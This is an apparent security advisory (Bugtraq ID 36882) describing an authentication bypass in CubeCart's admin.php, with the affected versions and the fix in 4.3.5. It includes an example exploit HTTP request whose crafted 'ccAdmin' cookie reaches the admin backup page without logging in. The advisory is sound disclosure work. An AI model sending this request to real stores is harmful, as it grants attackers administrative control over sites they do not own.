CubeCart 'admin.php' Authentication Bypass Vulnerability

Bugtraq ID:	36882
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 30 2009 12:00AM
Updated:	Nov 02 2009 08:37PM
Credit:	Bogdan Calin
Vulnerable:	CubeCart CubeCart 4.3.4 CubeCart CubeCart 4.2.1 CubeCart CubeCart 3.0.17 CubeCart CubeCart 3.0.16 CubeCart CubeCart 3.0.15 CubeCart CubeCart 3.0.14 CubeCart CubeCart 3.0.12 CubeCart CubeCart 3.0.11 CubeCart CubeCart 3.0.8 CubeCart CubeCart 3.0.7 -pl1 CubeCart CubeCart 3.0.7 CubeCart CubeCart 3.0.6 CubeCart CubeCart 3.0.4 CubeCart CubeCart 3.0.3 CubeCart CubeCart 2.0.7 CubeCart CubeCart 2.0.6 CubeCart CubeCart 2.0.1 CubeCart CubeCart 2.0 CubeCart CubeCart 4
Not Vulnerable:	CubeCart CubeCart 4.3.5

CubeCart 'admin.php' Authentication Bypass Vulnerability

CubeCart is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for authentication.

Attackers can exploit this vulnerability to gain administrative access, which may aid in further attacks.

Versions prior to CubeCart 4.3.5 are vulnerable.

CubeCart 'admin.php' Authentication Bypass Vulnerability

Attackers can exploit this issue through a browser.

The following example data is available:

POST /CubeCart-latest/admin.php?_g=maintenance/backup HTTP/1.1
Host: bld02
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryCpv+NVAHAgHHdvdI
User-Agent:
X_CLUSTER_CLIENT_IP:
Cookie: ccAdmin=+
Accept: */*;q=0.5
Content-Length: 434

CubeCart 'admin.php' Authentication Bypass Vulnerability

Solution:
Reports indicate that this issue is resolved in CubeCart 4.3.5, but Symantec has not confirmed this. Please see the references for more information.

CubeCart 'admin.php' Authentication Bypass Vulnerability

References:

• CubeCart Homepage (CubeCart)
  
• CubeCart 4 Session Management Bypass (Bogdan Calin )